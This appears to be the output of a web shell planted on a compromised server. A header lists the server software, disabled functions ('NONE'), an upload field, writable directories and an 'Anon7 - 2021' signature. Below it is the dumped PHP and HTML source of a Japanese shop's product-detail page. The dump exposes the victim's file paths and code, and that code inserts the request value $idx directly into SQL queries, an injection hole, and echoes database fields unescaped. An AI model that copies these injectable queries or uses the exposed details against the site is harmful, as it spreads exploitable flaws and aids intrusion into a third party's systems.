KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /home/queenjbs/www/store/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/queenjbs/www/store/store_detail2.html
<link href="/css/store/base.css" type=text/css rel=stylesheet>
<link href="/css/store/layout.css" type=text/css rel=stylesheet>
<link href="/css/store/shopping2.css" type=text/css rel=stylesheet>
<script src="/js/chuchun.js" language="javascript"></script>
<script type="text/javascript">
	<!--
	function caTabclick(vTabNo){
		for(var k=1;k < 4;k++){
			if(vTabNo == k){
				document.getElementById('actTab'+k).src ="/images/store/tab_0"+k+"_on.gif";
				document.getElementById('tab1_'+k).style.display="";
			}else{
				document.getElementById('actTab'+k).src ="/images/store/tab_0"+k+".gif";
				document.getElementById('tab1_'+k).style.display="none";
			}
		}
	}
	function chkgoods(val,mode){
		if(document.form.goodsCnt.value == 0){
			alert("数量を入れてください");document.form.goodsCnt.open();	return;
		}else{
			formChange(val,mode);
		}

	}
	
	function setCookie( name, value, expiredays ) {
	var todayDate = new Date();
	todayDate.setDate( todayDate.getDate() + expiredays );
	document.cookie = name + "=" + escape( value ) + "; path=/; expires=" + todayDate.toGMTString() + ";"
	}

	function getCookie( name )
	{
		var nameOfCookie = name + "=";
		var x = 0;
		while ( x <= document.cookie.length )
		{
			var y = (x+nameOfCookie.length);
			if ( document.cookie.substring( x, y ) == nameOfCookie ) {
				if ( (endOfCookie=document.cookie.indexOf( ";", y )) == -1 )
					endOfCookie = document.cookie.length;
				return unescape( document.cookie.substring( y, endOfCookie ) );
			}
			x = document.cookie.indexOf( " ", x ) + 1;
			if ( x == 0 )
			break;
		}
	return "";
	}

	function cookieChk(idxval,tableNames){
		if ( getCookie( "storechuchun"+idxval) != "done" ) {
			
			setCookie("storechuchun"+idxval, "done" , 1 );
			showCustomer2( idxval ,tableNames );
			alert("お勧めしました.");
		}else{
			alert("既にお勧めしました");return false;
		}
	}
	function selectChk(cnt,tmpprice){
		tmp_sum_price = (tmpprice*cnt);
		document.getElementById("span_price1").innerHTML = tmp_sum_price;
	}
	-->
</script>
 <?
if($idx){
	$tableName = "product";
	//$hit_query = "update shop_$tableName set hit = hit+1 where no='$idx'";
	//$results = mysql_query($hit_query,$db_con);
    
	$qry = "SELECT * FROM shop_$tableName where uid='$idx'";
	$result= mysql_query($qry,$db_con);
	$row = mysql_fetch_array($result);
	$imgName = get_db("select file_name from files where module_no = '$row[uid]' and module_name='shop' and module_type='T'");
	$regDate = substr($row[reg_date],0,10);
    
}
?>

<!--rightcon start-->
<div id="rightcon">
	<div id="prdcon">
		<div id="prdimg"><a href="#"><img src="/files/muti/shop/<?=$imgName?>" width="240" alt="浜崎あゆみ" /></a>
			<!--ul id="sprdimg">
				<li><a href="#"><img src="/images/store/shopping_thum.gif" border="0"></a></li>
				<li><a href="#"><img src="/images/store/shopping_thum.gif" border="0"></a></li>
				<li><a href="#"><img src="/images/store/shopping_thum.gif" border="0"></a></li>
			</ul-->
			<a href="#" class="imgzoom"><img src="/images/store/btn_zoom.gif" alt="浜崎あゆみ"></a>
		</div>
		<div id="prdrcon">			
			<h2 class="title"><?=$row[name]?></h2>
			<ul class="recom" style="position:absolute; z-index:400;margin-left:432px;">
			<li class="ddabong">
				<dl>
				<dd class="number" id="txtHint"><?=$row[vote]?></dd>
				<dd class="dd_img"><img src="/images/sub/ddabong.gif" onclick="cookieChk('<?=$idx?>','<?=$tableName?>');" style="cursor:pointer"/></dd>
				</dl>
			</li>
			</ul>
			<h3 class="stitle"><?=$row[addinfo]?></h3>

			<dl id="pricebox">
				<dd class="sprc">販売価格 : <s><?=$row[price1]?>円</s>&nbsp;&nbsp;&nbsp;<img src="/images/store/icon_money.gif" /><b><?=$row[price]?></b><span class="graybold">円 (税込)</span> <!--<a href="#"><img src="/images/store/btn_coupon.gif" alt="お得なクーポン"></a>--></dd>
				
				<dd><span class="black">・発売日   :</span> <?=$row[start_date]?> </dd>
				<dd class="underline"><span class="black">・製造社   :</span> <?=$row[maker]?></dd>
				<dd>
				
				購買数量 :
				<?if($row[uid] == 12) $goodsNumber = 2; else $goodsNumber = 11;?>
				<?if($row[display]==0 || ($sessionLevel == 15 && $row[display]==2)){?>
				<select name="goodsCnt" onChange="selectChk(this.value,'<?=$row[price]?>')">
					<option value="0" selected>選択</option>
						<?
							for($i=1;$i<$goodsNumber;$i++){
							echo "<option value=".$i.">".$i."</option>";
							}
						?>
				</select>
			  個&nbsp;&nbsp;&nbsp;&nbsp;<span id="span_price1">0</span>円 (税込)
			  <?}else if($row[display]==1){?>
			  未定
			  <?}else if($row[display]==3){?>
			  販売締め切り
			  <?}?>
			  </dd>
			  <dd class="oblast">発売予定日: <?=$row[model]?><!--a href="#"><img src="/images/store/btn_addoption.gif" alt="入力欄追加" border="0"></a--></dd>
			  <!--dd><a href="#"><img src="/images/store/btn_buy.gif" alt="購入すること" border="0"></a><a href="#"><img src="/images/store/btn_wish.gif" alt="ウォッチリストに追加 " border="0"></a></dd-->
			</dl>
			
		</div>
		<ul class="store_btn_area">
		<?if($row[display]==0 || ($sessionLevel == 15 && $row[display]==2)){?>
		<a href="javascript:alert('準備中です.');" style="text-decoration:none"><li class="cargo">カートに入れる</li></a>
		<!--a href="javascript:chkgoods(<?=$idx?>,'cart_proc');" style="text-decoration:none"><li class="cargo">カートに入れる</li></a-->
		<a href="javascript:chkgoods(<?=$idx?>,'order');" style="text-decoration:none"><li class="purchase">購入する</li></a>
		<?}else if($row[display]==1){?>
		<li style="align=right;margin-right:10px;"><font color=red>[未定]</font></li>
		<?}else if($row[display]==3){?>
		<li style="align=right;margin-right:10px;"><font color=red>[販売締め切り]</font></li> 
		<?}?>
		</ul>
	</div>
	<p class="clear"><img src="/images/store/prd_bottom.gif"></p>
	
	<div class="detale_wrap">
		<ul>
		<li><img id="actTab1" src="/images/store/tab_01_on.gif" onclick="caTabclick(1);"  style="cursor: pointer;"/></li>
		<li><img id="actTab2" src="/images/store/tab_02.gif" onclick="caTabclick(2);"  style="cursor: pointer;"/></a></li>
		<li><img id="actTab3" src="/images/store/tab_03.gif" onclick="caTabclick(3);"  style="cursor: pointer;"/></li>
		<li class="btn_top"><a href="#"><img src="/images/store/btn_top.gif" /></a></li>
		</ul>
		<div  id="tab1_1" style="display:">
			<div class="spec">
			<?=stripslashes($row[content])?>
			</div>
			<div class="editor">
			
			</div>
		</div>
		<div  id="tab1_2" style="display:none">
			<div class="spec">
			<?=stripslashes($row[deli_content])?>
			</div>
			<div class="editor">
			
			</div>
		</div>
		<div  id="tab1_3" style="display:none">
			<div class="spec">
			<?=stripslashes($row[change_content])?>
			</div>
			<div class="editor">
			
			</div>
		</div>
		
	</div>
</div>
	
	


<div id="box"></div>


Anon7 - 2021